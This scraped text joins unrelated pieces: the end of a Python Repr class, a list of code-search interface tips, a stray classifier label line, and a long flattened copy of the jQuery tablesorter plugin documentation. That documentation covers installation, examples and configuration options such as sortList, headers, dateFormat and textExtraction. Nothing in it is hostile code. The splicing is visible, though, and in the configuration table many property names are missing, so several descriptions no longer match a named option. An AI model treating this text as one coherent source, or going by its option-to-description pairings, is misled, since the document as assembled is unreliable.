[repr1(elem, newlevel) for elem in islice(x, maxiter)] if n > maxiter: pieces.append('...') s = ', '.join(pieces) if n == 1 and trail: right = trail + right return '%s%s%s' % (left, s, right) def repr_tuple(self, x, level): return self._repr_iterable(x, level, '(', ')', self.maxtuple, ',') def repr_list(self, x, level): return self._repr_iterable(x, level, '[', ']', self.maxlist) def repr_array(self, x, level): header = "array('%s', [" % x.typecode return self._repr_iterable(x, level, header, '])', self.maxarray) def repr_set(self, x, level): x = _possibly_sorted(x) return self._repr_iterable(x, level, 'set([', '])', self.maxset) def repr_frozenset(self, x, level): x = _possibly_sorted(x) return self._repr_iterable(x, level, 'frozenset([', '])', self.maxfrozenset) def repr_deque(self, x, level): return self._repr_iterable(x, level, 'deque([', '])', self.maxdeque) def repr_dict(self, x, level): n = len(x) if n == 0: return '{}' if level <= 0: return '{...}' newlevel = level - 1 repr1 = self.repr1 pieces = [] for key in islice(_possibly_sorted(x), self.maxdict): keyrepr = repr1(key, newlevel) valrepr = repr1(x[key], newlevel) pieces.append('%s: %s' % (keyrepr, valrepr)) if n > self.maxdict: pieces.append('...') s = ', '.join(pieces) return '{%s}' % (s,) def repr_str(self, x, level): s = builtins.repr(x[:self.maxstring]) if len(s) > self.maxstring: i = max(0, (self.maxstring-3)//2) j = max(0, self.maxstring-3-i) s = builtins.repr(x[:i] + x[len(x)-j:]) s = s[:i] + '...' + s[len(s)-j:] return s def repr_int(self, x, level): s = builtins.repr(x) # XXX Hope this isn't too slow... if len(s) > self.maxlong: i = max(0, (self.maxlong-3)//2) j = max(0, self.maxlong-3-i) s = s[:i] + '...' + s[len(s)-j:] return s def repr_instance(self, x, level): try: s = builtins.repr(x) # Bugs in x.__repr__() can cause arbitrary # exceptions -- then make up something except Exception: return '<%s instance at %x>' % (x.__class__.__name__, id(x)) if len(s) > self.maxother: i = max(0, (self.maxother-3)//2) j = max(0, self.maxother-3-i) s = s[:i] + '...' + s[len(s)-j:] return s def _possibly_sorted(x): # Since not all sequences of items can be sorted and comparison # functions may raise arbitrary exceptions, return an unsorted # sequence in that case. try: return sorted(x) except Exception: return list(x) aRepr = Repr() repr = aRepr.repr Tip: Filter by directory path e.g. /media app.js to search for public/media/app.js. Tip: Use camelCasing e.g. ProjME to search for ProjectModifiedEvent.java. Tip: Filter by extension type e.g. /repo .js to search for all .js files in the /repo directory. Tip: Separate your search with spaces e.g. /ssh pom.xml to search for src/ssh/pom.xml. Tip: Use ↑ and ↓ arrow keys to navigate and return to view the file. Tip: You can also navigate files with Ctrl+j (next) and Ctrl+k (previous) and view the file with Ctrl+o. Tip: You can also navigate files with Alt+j (next) and Alt+k (previous) and view the file with Alt+o.
__label__pos
0.85986
Original Author: Christian Bach Maintainer of this fork: Rob Garrison (Mottie) Version: 2.1+ (changelog Licence: Dual licensed under MIT or GPL licenses. Contents 1. Introduction 2. Demo 3. Getting started 4. Examples 5. Configuration 6. Widget & Pager Options (v2.1) 7. Methods 8. Events 9. API 10. Download 11. Compatibility 12. Support 13. Credits Introduction tablesorter is a jQuery plugin for turning a standard HTML table with THEAD and TBODY tags into a sortable table without page refreshes. tablesorter can successfully parse and sort many types of data including linked data in a cell. It has many useful features including: Demo Account # First Name Last Name Age Total Discount Difference Date A42b Peter Parker 28 $9.99 20.9% +12.1 Jul 6, 2006 8:14 AM A255 Bruce Jones 33 $13.19 25% +12 Dec 10, 2002 5:14 AM A33 Clark Evans 18 $15.89 44% -26 Jan 12, 2003 11:14 AM A1 Bruce Almighty 45 $153.19 44.7% +77 Jan 18, 2001 9:12 AM A102 Bruce Evans 22 $13.19 11% -100.9 Jan 18, 2007 9:12 AM A42a Bruce Evans 22 $13.19 11% 0 Jan 18, 2007 9:12 AM TIP! Sort multiple columns simultaneously by holding down the Shift key and clicking a second, third or even fourth column header! Getting started To use the tablesorter plugin, include the jQuery library and the tablesorter plugin inside the <head> tag of your HTML document: <!-- choose a theme file --> <link rel="stylesheet" href="/path/to/theme.default.css"> <!-- load jQuery and tablesorter scripts --> <script type="text/javascript" src="/path/to/jquery-latest.js"></script> <script type="text/javascript" src="/path/to/jquery.tablesorter.js"></script> <!-- tablesorter widgets (optional) --> <script type="text/javascript" src="/path/to/jquery.tablesorter.widgets.js"></script> tablesorter works on standard HTML tables. You must include THEAD and TBODY tags: <table id="myTable" class="tablesorter"> <thead> <tr> <th>Last Name</th> <th>First Name</th> <th>Email</th> <th>Due</th> <th>Web Site</th> </tr> </thead> <tbody> <tr> <td>Smith</td> <td>John</td> <td>[email protected]</td> <td>$50.00</td> <td>http://www.jsmith.com</td> </tr> <tr> <td>Bach</td> <td>Frank</td> <td>[email protected]</td> <td>$50.00</td> <td>http://www.frank.com</td> </tr> <tr> <td>Doe</td> <td>Jason</td> <td>[email protected]</td> <td>$100.00</td> <td>http://www.jdoe.com</td> </tr> <tr> <td>Conway</td> <td>Tim</td> <td>[email protected]</td> <td>$50.00</td> <td>http://www.timconway.com</td> </tr> </tbody> </table> Start by telling tablesorter to sort your table when the document is loaded: $(function(){ $("#myTable").tablesorter(); }); Click on the headers and you'll see that your table is now sortable! You can also pass in configuration options when you initialize the table. This tells tablesorter to sort on the first and second column in ascending order. $(function(){ $("#myTable").tablesorter({ sortList: [[0,0], [1,0]] }); }); NOTE! tablesorter will auto-detect most data types including numbers, dates, ip-adresses for more information see Examples Examples These examples will show what's possible with tablesorter. You need Javascript enabled to run these samples, just like you and your users will need Javascript enabled to use tablesorter. Basic Sorting Theming Using Parsers / Extracting Content Advanced Parsers / Extracting Content Widgets / Plugins Adding / Removing Content Change Header Style Other Options & Events Metadata - setting inline options Demos Playgrounds & Other demos Plugins / Widgets these widgets are included in the jquery.tablesorter.widgets.js file (except for extra filter formatter functions) this widget is included with the plugin core. Custom Parsers Work-in-progress Configuration tablesorter has many options you can pass in at initialization to achieve different effects TIP! Click on the link in the property column to reveal full details (or toggle|show|hide all) or double click to update the browser location. Property Type Default Description Link Property Type Default Description Link cancelSelection Boolean true Indicates if tablesorter should disable selection of text in the table header (TH). Makes header behave more like a button. String "checked" Used by the "checkbox" parser in the parser-input-select.js file (v2.22.2). When using the checkbox parser, this class name is added to the row along with this class name plus the column index when the targeted checkbox is checked. For example, if the named parser file has been loaded & "sorter-checkbox" class is added to the first column header, then any checked checkbox in the first column will have "checked checked-0" class names added to the row. Checkboxes in any other column, not targeted by the parser, will be ignored and no extra row class names will be added. Example String "" Additional CSS class applied to style the header with a ascending sort (v2.11). Changed to empty string ("") in v2.11, as the "tablesorter-headerAsc" class will always be added to a header cell with an ascending sort; this option now contains any additional class names to add. Example from the blue theme: .tablesorter-blue .tablesorter-headerAsc { background-color: #9fbfdf; background-image: url(black-asc.gif); } Default changed v2.5 to "tablesorter-headerAsc". Default changed v2.1.7 to "tablesorter-headerSortUp". Original default: "headerSortUp" cssChildRow String "tablesorter-childRow" Add this css class to a child row that should always be attached to its parent. Click on the "cssChildRow" link to toggle the view on the attached child row. Previous default was "expand-child" (Modified v2.4). 1 2 This is an entirely new row, but attached to the row above while sorting cssChildRow Example HTML: <table width="100%" border="1"> <thead> <tr> <th>Item #</th> <th>Name</th> <th>Available</th> </tr> </thead> <tbody> <tr> <td>12345</td> <td>Toy Car</td> <td>5</td> </tr> <tr class="tablesorter-childRow"> <!-- this row will remain attached to the above row, and not sort separately --> <td colspan="3"> It's a toy car! </td> </tr> <tr> <td>23456</td> <td>Toy Plane</td> <td>2</td> </tr> <tr class="tablesorter-childRow"> <!-- this row will remain attached to the above row, and not sort separately --> <td colspan="3"> It's a toy plane! </td> </tr> <tr class="tablesorter-childRow"> <!-- this row will remain attached to the above two rows, and not sort separately --> <td colspan="3"> and it flies! </td> </tr> </tbody> </table> String "" Additional CSS class applied to style the header with a descending sort (v2.11). Changed to empty string in v2.11, as the "tablesorter-headerDesc" class will always be added to a header cell with a descending sort; this option now contains any additional class names to add. Example from the blue theme: .tablesorter-blue .tablesorter-headerDesc { background-color: #8cb3d9; background-image: url(black-desc.gif); } Default changed v2.5 to "tablesorter-headerDesc". Default changed v2.1.7 to "tablesorter-headerSortDown". Original default: "headerSortDown" String "" Additional CSS class applied to style the headers (v2.11). Changed to empty string in v2.11, as the "tablesorter-header" class will always be added to the table headers; this option now contains any additional class names to add. Example from the blue theme: .tablesorter-blue .tablesorter-header { background-color: #99bfe6; background-repeat: no-repeat; background-position: center right; padding: 4px 20px 4px 4px; white-space: normal; cursor: pointer; } Default changed v2.1.7 to "tablesorter-header". Original default: "header" String "" Additional CSS class applied to style the header row (v2.11). Changed to empty string in v2.11, as the "tablesorter-headerRow" class will always be added to a table header row; this option now contains any additional class names to add. This CSS style was added in v2.4, prior to that the row would get the same class as the header cells. This class was added to make it easier to determine what element was being targeted in the plugin. String "tablesorter-icon" The CSS style used to style the header cell icon (modified v2.7; v2.21.1). In v2.21.1, adding multiple class names to this option is now properly supported. As of v2.7, the icon will only be added to the header if both the cssIcon option is set AND the headerTemplate option includes the icon tag ({icon}). In v2.4, an <i> element, with this class name, is automatically appended to the header cells. To prevent the plugin from adding an <i> element to the headers, set the cssIcon option to an empty string. String "" The CSS style added to the header cell icon when the column has an ascending sort (v2.18.3). This class is only applied when the headerTemplate option includes a {icon} tag or an HTML element with the class name from the cssIcon option. String "" The CSS style used to style the header cell icon when the column has a descending sort (v2.18.3) This class is only applied when the headerTemplate option includes a {icon} tag or an HTML element with the class name from the cssIcon option. String "" The CSS style used to style the header cell icon when the column does not have a sort applied (v2.18.3) This class is only applied when the headerTemplate option includes a {icon} tag or an HTML element with the class name from the cssIcon option. String "" Additional CSS class applied to style the header when no sort is applied (v2.15). A "tablesorter-headerUnSorted" class will always be added to an unsorted header cell; this option contains any additional class names to add. Currently, no themes use this class name. String "" Additional CSS class applied to style the header cell while it is being sorted or filtered (v2.4; v2.11). Changed to empty string in v2.11, as the "tablesorter-processing" class will always be added to a table cells during processing; this option now contains any additional class names to add. This class name is added to the header cell that is currently being sorted or filted. To prevent this class name from being added, set the showProcessing option to false. String "tablesorter-infoOnly" All tbodies with this class name will not have its contents sorted. (v2.2). With the addition of multiple tbody sorting in v2.2, you can now insert a non-sorting tbody within the table by adding this class to the tbody. <tbody class="tablesorter-infoOnly"> <tr> <th>The contents of this tbody</th> </tr> <tr> <td>will not be sorted</td> </tr> </tbody> As an example, I've split up this options table into three (3) tbodies. The first contains the active options, the second is the info block with a row that only contains the text "Deprecated Options", and the last tbody contains the deprecated options. Sort the table to see how each tbody sorts separately. NOTE! The pager plugin will only be applied to the first tbody, as always. I may work on modifying this behavior in the future, if I can figure out the best implementation. cssNoSort String "tablesorter-noSort" Class name added to element inside header. Clicking on that element, or any elements within it won't cause a sort. (v2.20.0). String "tablesorter-ignoreRow" Class name to add to a table header row if you want all cells within this row to be ignored (v2.18.4). Header rows with this class name will not be added into the table.config.$headers variable. This class name should be added to header rows that contain custom HTML, like for the pager controls, custom filter row or table toolbar. String "mmddyyyy" Set the date format. Here are the available options. (Modified v2.0.23). • "mmddyyyy" (default) • "ddmmyyyy" • "yyyymmdd" In previous versions, this option was set as "us", "uk" or "dd/mm/yy". This option was modified to better fit needed date formats. It will only work with four digit years! The sorter should be set to "shortDate" and the date format can be set in the "dateFormat" option or set for a specific columns within the "headers" option. See the demo page to see it working. $(function(){ $("table").tablesorter({ dateFormat : "mmddyyyy", // default date format // or to change the format for specific columns, // add the dateFormat to the headers option: headers: { 0: { sorter: "shortDate" }, // "shortDate" with the default dateFormat above 1: { sorter: "shortDate", dateFormat: "ddmmyyyy" }, // day first format 2: { sorter: "shortDate", dateFormat: "yyyymmdd" } // year first format } }); }); Individual columns can be modified by adding the following (they all do the same thing), set in order of priority (Modified v2.3.1): • jQuery data data-dateFormat="mmddyyyy". • metadata class="{ dateFormat: 'mmddyyyy'}". This requires the metadata plugin. • headers option headers : { 0 : { dateFormat : 'mmddyyyy' } }. • header class name class="dateFormat-mmddyyyy". • Overall dateFormat option. Example debug Boolean false Boolean flag indicating if tablesorter should display debuging information useful for development. Example delayInit Boolean false Setting this option to true will delay parsing of all table cell data until the user initializes a sort. This speeds up the initialization process of very large tables, but the data still needs to be parsed, so the delay is still present upon initial sort. Example String "bottom" Option indicating how tablesorter should deal with empty table cells. (Modified v2.1.16, v2.16.2). • bottom - sort empty table cells to the bottom. • top - sort empty table cells to the top. • none or zero - sort empty table cells as if the cell has the value equal to zero. • emptyMax - sort empty table cells as having a value greater than the max (more positive) value (v2.16.2). • emptyMin - sort empty table cells as having a value greater than the min (more negative) value (v2.16.2). Individual columns can be modified by adding the following (they all do the same thing), set in order of priority: • jQuery data data-empty="top". • metadata class="{ empty: 'top'}". This requires the metadata plugin. • headers option headers : { 0 : { empty : 'top' } }. • header class name class="empty-top". • Overall emptyTo option. emptyToBottom option was added in v2.1.11, then replaced by the emptyTo option in v2.1.16. Example Object null An object of instructions for per-"header cell" controls in the format: headers: { 0: { option: setting }, ... } (v2.17.1) For example, to disable sorting on the first two columns of a table: headers: { 0: { sorter: false}, 1: {sorter: false} }. The plugin attempts to detect the type of data that is contained in a column, but if it can't figure it out then it defaults to alphanumeric. You can easily override this by setting the header argument (or column parser). See the full list of default parsers here or write your own. $(function(){ $("table").tablesorter({ headers: { // See example - Disable first header cell; parser false skips extracting content 0: { sorter: false, parser: false }, // See example 2: Sort column numerically & treat any text as if its value is: 1: { sorter: "digit", empty: "top" }, // zero; sort empty cells to the top 2: { sorter: "digit", string: "max" }, // maximum positive value 3: { sorter: "digit", string: "min" }, // maximum negative value // Sort the fifth column by date & set the format 4: { sorter: "shortDate", dateFormat: "yyyymmdd" }, // year first format // See example 3: lock the sort order // this option will not work if added as metadata 5: { lockedOrder: "asc" }, // See Example 4: Initial sort order direction of seventh header cell 6: { sortInitialOrder: "desc" }, // Set filter widget options for this column // See the "Applying the filter widget" demo 7: { filter: false }, // disable filter widget for this column 8: { filter: "parsed" }, // use parsed data for this column in the filter search // Set resizable widget options for this column 9: { resizable: false } // prevent resizing of header cell 9 } }); }); Please note that the headers index values corresponds to the table header cells index (zero-based) and not the actual columns. For example, given the following table thead markup, the header-index counts the header th cells and does not actually match the data-column index when extra rows and/or colspan or rowspan are included in any of the header cells: <thead> <tr> <th colspan="4" data-column="0">header-index 0</th> </tr> <tr> <th data-column="0">header-index 1</th> <th data-column="1">header-index 2</th> <th data-column="2">header-index 3</th> <th data-column="3">header-index 4</th> </tr> <tr> <th colspan="2" data-column="0">header-index 5</th> <th colspan="2" data-column="2">header-index 6</th> </tr> </thead> So, in the above example, to disable the sort of the second table column (data-column index of 1), the header cell of index 2 needs to be set as follows: 2 : { sorter : false }. In v2.17.0, you can reference the column(s) using a class name, id or column index. headers : { '.first-name' : { sorter: 'text' }, '.disabled' : { sorter: false } } Warning What won't work is if you try to target the header using a filtering selector that uses an index, e.g. "th:eq()", ":gt()", ":lt()", ":first", ":last", ":even" or ":odd", ":first-child", ":last-child", ":nth-child()", ":nth-last-child()", etc. 1 2 3 4 5 String "{content}" This is a template string which allows adding additional content to the header while it is being built (v2.7; v2.17.8). In v2.17.8, if this option is set to an empty string (''), an inner div will no longer be wrapped around the header content. This template string has two modifying tags: {content} and {icon}. {content} will be replaced by the current header HTML content. {icon} will be replaced by <i class="tablesorter-icon"></i>, but only if a class name is defined in the cssIcon option. This template string may also contain HTML, e.g ('<em>{content}</em> {icon}') After the template string is built, the onRenderTemplate function is called to allow further manipulation. Please read more about this onRenderTemplate function and/or check out the example (link to the right). Example ignoreCase Boolean true When true, text sorting will ignore the character case. If false, upper case characters will sort before lower case. (v2.2). String "alt" Used by the image parser to grab the image attribute content (v2.17.5; moved to tablesorter core in v2.18.0; see config.parsers). Change this setting to grab a different image attribute to be used for sorting: $(function(){ $('table').tablesorter({ // parse image title (value to be used while sorting & filtering) imgAttr : 'title', headers : { 0 : { sorter: 'image' } // this parser is auto-detected, but will only work on the first image } }); }); Function null This callback fires when tablesorter has completed initialization. (v2.2). $(function(){ // bind to tablesorter-initialized event BEFORE initializing tablesorter* $("table") .bind("tablesorter-initialized",function(e, table) { // do something after tablesorter has initialized }); // initialize the tablesorter plugin $("table").tablesorter({ // this is equivalent to the above bind method initialized : function(table){ // do something after tablesorter has initialized } }); }); * Note: bind to all initialization events before initializing tablesorter; because most of the time, if bound after, the events will fire before the binding occurs. Boolean true Apply widgets after table initializes (v2.3.5). When true, all widgets set by the widgets option will apply after tablesorter has initialized, this is the normal behavior. If false, the each widget set by the widgets option will be initialized, meaning the "init" function is run, but the format function will not be run. This is useful when running the pager plugin after the table is set up. The pager plugin will initialize, then apply all set widgets. Why you ask? Well, lets say you have a table with 1000 rows that will have the pager plugin applied to it. Before this option, the table would finish its setup, all widgets would be applied to the 1000 rows, pager plugin initializes and reapplies the widgets on the say 20 rows showing; making the widget application to 100 rows unnecessary and a waste of time. So, when this option is false, widgets will only be applied to the table after the pager is set up. String 'widget-{name}' When the table has a class name that matches the template and a widget id that matches the {name}, the widget will automatically be added to the table (v2.18.0) By default, this option is set to 'widget-{name}'. So if the table has a class name of widget-zebra the zebra widget will be automatically added to the config.widgets option and applied to the table. Some widget ID's with special characters may not be detected; ID's with letters, numbers, underscores and/or dashes will be correctly detected. The template string *must* contain the {name} tag. Function null This function is called after content is to the TH tags (after the template is procressed and added). You can use this to modify the HTML in each header tag for additional styling (v2.18.0). In versions 2.0.6+, all TH text is wrapped in a div with a class name of "tablesorter-inner" by default. In the example below, the header cell (TH) div is given a class name (source). Function parameters: • index - zero-based index of the current table header cell; this value is not indicative of the column index, as it is simply a count of header cells. So it will be effected by rowspan, colspan and multiple rows in the header. • config - The current table.config. • $table - This value is the current table jQuery object. If this function is being applied to cloned headers, as is does in the stickyHeaders widget, then this value will contain the sticky header clone added after the current table, and not the main table (v2.18.0). $(function(){ $("table").tablesorter({ headerTemplate: '{content}', onRenderHeader: function (index, config, $table){ $(this).find('div').addClass('roundedCorners'); } }); }); and you'll end up with this HTML (only the thead is shown) <thead> <tr> <th class="tablesorter-header"><div class="tablesorter-header-inner roundedCorners">Column 1</div></th> <th class="tablesorter-header"><div class="tablesorter-header-inner roundedCorners">Column 2</div></th> </tr> </thead> * Note: this function adds additional rendering time to the table if any DOM manipulation is done. Because this time will be on top of the processing time already added by the template. Example Function null This function is called after the template string has been built, but before the template string is applied to the header and before the onRenderHeader function is called (v2.7). The onRenderTemplate function receives a column index and template string parameters. The template string, from the headerTemplate option, will already have the {icon} and {content} tags replaced; it's just a string of formatted HTML. When done manipulating this string, return it. Here is an example: $(function(){ $("table").tablesorter({ headerTemplate: '{icon}{content}', onRenderTemplate: function (index, template){ return '<em>' + (index + 1) + ':</em> ' + template; } }); }); The template parameter can be manipulated as a string, or if you prefer, turn it into a jQuery object (var $t = $(template)) to find and replace content as desired. Just make sure you return a string (return $t.html()) From the example function above, you'll end up with something similar to this HTML (only the thead is shown) <thead> <tr> <th class="tablesorter-header"><div class="tablesorter-header-inner"><em>1:</em> <i class="tablesorter-icon"></i>First Name</div></th> <th class="tablesorter-header"><div class="tablesorter-header-inner"><em>2:</em> <i class="tablesorter-icon"></i>Last Name</div></th> </tr> </thead> * Note: If the cssIcon option is an empty string, the {icon} tag will also become an empty string. Example String "> thead th, > thead td" jQuery selectors used to find cells in the header. You can change this, but the table will still need the required thead and tbody before this plugin will work properly. Added > to the selector in v2.3 to prevent targeting nested table headers. It was modified again in v2.4 to include td cells within the thead. String "tr.remove-me" This CSS class name can be applied to all rows that are to be removed prior to triggering a table update. (v2.1). It was necessary to add this option because some widgets add table rows for styling (see the writing custom widgets demo) and if a table update is triggered ($('table').trigger('update');) those added rows will automatically become incorporated into the table. selectorSort String "th, td" jQuery selector of content within selectorHeaders that is clickable to trigger a sort (v2.4). Example Boolean true When this option is true any applied sort on the table will be reapplied after an update method (v2.19.0). Specifically, this option applies to the "updateAll", "update", "addRows" and "updateCell" methods and is checked after the method has completed updating the internal cache. If false, the widgets will still be refreshed for all but the "updateCell" method - this "updateCell" behavior was added in v2.19.0. Note when triggering one of the above methods, and passing a defined resort parameter, it will override this setting. Note if a sort is not reapplied, problems with some widgets may occur namely the grouping widget. serverSideSorting Boolean false Set to true if the server is performing the sorting. The ui and events will still be used (v2.5.3). showProcessing Boolean false Show an indeterminate timer icon in the header when the table is sorted or filtered. Please note that due to javascript processing, the icon may not show as being animated. I'm looking into this further and would appreciate any feedback or suggestions with the coding (v2.4). Example Array null Use to add an additional forced sort that is prepended to sortList. For example, sortForce: [[0,0]] will sort the first column in ascending order. After the forced sort, the user selected column(s), or during initialzation, the sorting order defined in the sortList will follow. And lastly, the sort defined in the sortAppend option will be applied. More explicitly: There are three options to determine the sort order and this is the order of priority: 1. sortForce forces the user to have this/these column(s) sorted first (null by default). 2. SortList is the initial sort order of the columns. 3. SortAppend is the default sort that is added to the end of the users sort selection (null by default). The value of these sort options is an array of arrays and can include one or more columns. The format is an array of instructions for per-column sorting and direction in the format: [[columnIndex, sortDirection], ... ] where columnIndex is a zero-based index for your columns left-to-right and sortDirection is 0 for Ascending and 1 for Descending. A valid argument that sorts ascending first by column 1 and then column 2 looks like: [[0,0],[1,0]]. $(function(){ $("table").tablesorter({ sortForce : [[0,0]], // Always sort first column first sortList : [[1,0], [2,0]], // initial sort columns (2nd and 3rd) sortAppend : [[3,0]] // Always add this sort on the end (4th column) }); }); Example Array null Use to add an initial sort to the table. The value contains an array of instructions for per-column sorting and direction in the format: [[columnIndex, sortDirection], ... ] where columnIndex is a zero-based index for your columns left-to-right and sortDirection is 0 for Ascending and 1 for Descending. A valid argument that sorts ascending first by column 1 and then column 2 looks like: [[0,0],[1,0]]. Please see sortForce for more details on other sort order options. $(function(){ $("table").tablesorter({ sortList : [[1,0], [2,0]] // initial sort columns (2nd and 3rd) }); }); This option can also be set using data-attributes (v2.3.1), jQuery data or metadata on the table: ** Note: data-sortlist data is not supported in jQuery versions older than 1.4. jQuery data<table data-sortlist="[[0,0],[4,0]]"> ** Meta data<table class="tablesorter {sortlist: [[0,0],[4,0]]}"> Example Array null Use to add an additional forced sort that will be appended to the dynamic selections by the user. For example, can be used to sort people alphabetically after some other user-selected sort that results in rows with the same value like dates or money due. It can help prevent data from appearing as though it has a random secondary sort. The value contains an array of instructions for per-column sorting and direction in the format: [[columnIndex, sortDirection], ... ] where columnIndex is a zero-based index for your columns left-to-right and sortDirection is 0 for Ascending and 1 for Descending. A valid argument that sorts ascending first by column 1 and then column 2 looks like: [[0,0],[1,0]]. Please see sortForce for more details on other sort order options. Example String "asc" This sets the direction a column will sort when clicking on the header for the first time. Valid arguments are "asc" for Ascending or "desc" for Descending. This order can also be set by desired column using the headers option (v2.0.8). Individual columns can be modified by adding the following (they all do the same thing), set in order of priority (modified v2.3.1): • jQuery data data-sortInitialOrder="asc". • metadata class="{ sortInitialOrder: 'asc'}". This requires the metadata plugin. • headers option headers : { 0 : { sortInitialOrder : 'asc' } }. • header class name class="sortInitialOrder-asc". • Overall sortInitialOrder option. 1 2 Boolean false Boolean flag indicating if certain accented characters within the table will be replaced with their equivalent characters. (Modified v2.2). • This option no longer switches the sort to use the String.localeCompare method. • When this option is true, the text parsed from table cells will convert accented characters to their equivalent to allow the alphanumeric sort to properly sort. • If false (default), any accented characters are treated as their value in the standard unicode order. • The following characters are replaced for both upper and lower case (information obtained from sugar.js sorting equivalents table): • áàâãä replaced with a • ç replaced with c • éèêë replaced with e • íìİîï replaced with i • óòôõöō replaced with o • úùûü replaced with u • ß replaced with S • Please see the example page for instrcutions on how to modify the above equivalency table. • If you would like to continue using the String.localeCompare method, then set the sortLocaleCompare option to false and use the new textSorter option as follows: $('table').tablesorter({ textSorter: function(a,b) { return a.localeCompare(b); } }); NOTE! See the Language wiki page for language specific examples and how to extend the character equivalent tables seen in the sortLocaleCompare demo. Boolean flag indicating whenever to use javascript String.localeCompare method or not. This is only used when comparing text with international character strings. A sort using localeCompare will sort accented characters the same as their unaccented counterparts. Example Boolean false Setting this option to true will allow you to click on the table header a third time to reset the sort direction. (v2.0.27). Don't confuse this option with the sortReset method. This option only resets the column sort after a third click, while the method immediately resets the entire table sort. Example sortResetKey String "ctrlKey" The key used to reset sorting on the entire table. Defaults to the control key. The other options are "shiftKey" or "altKey" (reference). sortRestart Boolean false Setting this option to true will start the sort with the sortInitialOrder when clicking on a previously unsorted column. (v2.0.31). Example Boolean false Setting this option to true and sorting two rows with exactly the same content, the original sort order is maintained (v2.14). This isn't exactly a stable sort because the sort order maintains the original unsorted order when sorting the column in an ascending direction. When sorting the column in a descending order, the opposite of the original unsorted order is returned. If that doesn't make any sense, please refer to issue #419. sortMultiSortKey String "shiftKey" The key used to select more than one column for multi-column sorting. Defaults to the Shift key. The other options are "ctrlKey" or "altKey" (reference). Example String "max" A key word indicating how tablesorter should deal with text inside of numerically sorted columns. (v2.1.16). String options was initially set in the header options only. Overall option added and values changed in version 2.1.16; setting the value to: • "max" will treat any text in that column as a value greater than the max (more positive) value. Renamed from "max+". • "min" will treat any text in that column as a value greater than the min (more negative) value. Renamed from "max-". • "top" will always sort the text to the top of the column. • "bottom" will always sort the text to the bottom of the column. • "none" or "zero" will treat the text as if it has a value of zero. Individual columns can be modified by adding the following (they all do the same thing), set in order of priority: • jQuery data data-string="top". • metadata class="{ string: 'top'}". This requires the metadata plugin. • headers option headers : { 0 : { string : 'top' } }. • header class name class="string-top". • Overall stringTo option. Example tabIndex Boolean true Add a tabindex to the headers for keyboard accessibility; this was previously always applied (v2.14). String "" Additional CSS class applied to style the table (v2.11). Changed to empty string in v2.11, as the "tablesorter" class will always be added to the table; this option now contains any additional class names to add. This class was required in the default markup in version 2.0.5. But in version 2.0.6, it was added as an option. Modify this option if you are not using the default css, or if you are using a completely custom stylesheet. String "default" This option will add a theme css class name to the table "tablesorter-{theme}" for styling (v2.4; v2.18.0). When changing this theme option, make sure that the appropriate css theme file has also been loaded. Included theme files include: see all themes uitheme widget You will need to use the uitheme widget to extend the theme to apply css from jQuery UI, Bootstrap or other css libraries. Modify a theme If you want to modify the existing themes ("jui" and "bootstrap"), it can be done as follows: Modify the class names by extending from the $.tablesorter.themes variable Note there is no need to extend from the entire list of class names, just include the key:value pairs that are being changed: // Extend a theme to modify any of the default class names $.extend($.tablesorter.themes.jui, { // change default jQuery uitheme icons - find the full list of icons // here: http://jqueryui.com/themeroller/ (hover over them for their name) table : 'ui-widget ui-widget-content ui-corner-all', // table classes header : 'ui-widget-header ui-corner-all ui-state-default', // header classes footerRow : '', footerCells: '', icons : 'ui-icon', // icon class added to the <i> in the header sortNone : 'ui-icon-carat-2-n-s', sortAsc : 'ui-icon-carat-1-n', sortDesc : 'ui-icon-carat-1-s', active : 'ui-state-active', // applied when column is sorted hover : 'ui-state-hover', // hover class filterRow : '', even : 'ui-widget-content', // even row zebra striping odd : 'ui-state-default' // odd row zebra striping }); Custom theme To add a new uitheme, define it as follows (replace "custom" with the name of your theme): $.tablesorter.themes.custom = { table : 'table', // table classes header : 'header', // header classes footerRow : '', footerCells: '', icons : 'icon', // icon class added to the <i> in the header sortNone : 'sort-none', // unsorted header sortAsc : 'sort-asc', // ascending sorted header sortDesc : 'sort-desc', // descending sorted header active : 'sort-active', // applied when column is sorted hover : 'hover', // hover class filterRow : 'filters', // class added to the filter row even : 'even', // even row zebra striping odd : 'odd' // odd row zebra striping } Then use it by adding the name of your theme to the theme option: $(function(){ $("table").tablesorter({ // set the new theme name from $.tablesorter.themes here theme : 'custom', // add {icon} to template (if needed) headerTemplate: '{content}{icon}', // make sure to initialize uitheme widget widgets : ["uitheme"] }); }); Example String "data-text" This data-attribute can be added to any tbody cell and can contains alternate cell text (v2.16.0). This option contains the name of the data-attribute used by the textExtraction function. Add it to the cell(s) as follows: <td data-text="1">First repository</td> Note This option only works when the textExtraction option is set to "basic". *NOTE* It is important to know that the filter widget is set to use extracted (parsed) content as a parsed value and the raw cell content as unparsed values; and most of the time the filter widget is searching unparsed content. But, when a data-attribute is used, both the parsed and raw cached data will contain the exact same content (ref)! Multiple* "basic" Defines which method is used to extract data from a table cell for sorting (v2.19.0) * Note This option accepts multiple types (String, Object or Function); see below for further details. In v2.19.0, the code was further optimized. When set to "basic" (the default), the textExtraction code will check for data-attributes, otherwise, any other string value setting will skip the data-attribute value check; because of this change, there is a noticable lessening of initialization time in Internet Explorer. In v2.17.0, the textExtraction column can also be referenced by using a jQuery selector (e.g. class name, id or column index) that points to a table header cell. textExtraction : { // 'jQuery thead cell selector' : function ( new method ) '.styled' : function(node, table, cellIndex) { return $(node).find('strong').text(); }, // columnIndex : function ( original method ) 2 : function(node, table, cellIndex) { return $(node).find('img').attr('title'); } } Warning What won't work is if you try to target the header using a filtering selector that uses an index, e.g. "th:eq()", ":gt()", ":lt()", ":first", ":last", ":even" or ":odd", ":first-child", ":last-child", ":nth-child()", ":nth-last-child()", etc. As of version 2.16.0, • The default text extraction method has been renamed and updated to get data from a data-attribute (set by the textAttribute option). • If you need to support older versions of IE, this may add a significant delay to the table initialization especially for large tables; in this case, set the textExtraction option to any name other than "basic". • Also, this option can now be set using a data-attribute named "data-text-extraction" on the table. You can customize the text extraction by writing your own text extraction function "myTextExtraction" which you define like: var myTextExtraction = function(node, table, cellIndex){ // extract data from markup and return it // originally: return node.childNodes[0].childNodes[0].innerHTML; return $(node).find('selector').text(); } $(function(){ $("#myTable").tablesorter( { textExtraction: myTextExtraction } ); }); tablesorter will pass the current table cell object for you to parse and return. Thanks to Josh Nathanson for the examples; updated to a jQuery example by Rob G (Mottie). Now if the text you are finding in the script above is say a number, then just include the headers sorter option to specify how to sort it. Also in this example, we will specify that the special textExtraction code is only needed for the second column (1 because we are using a zero-based index). All other columns will ignore this textExtraction function. Added table and cellIndex variables to the textExtraction function in version 2.1.2 (this is not part of the original plugin). 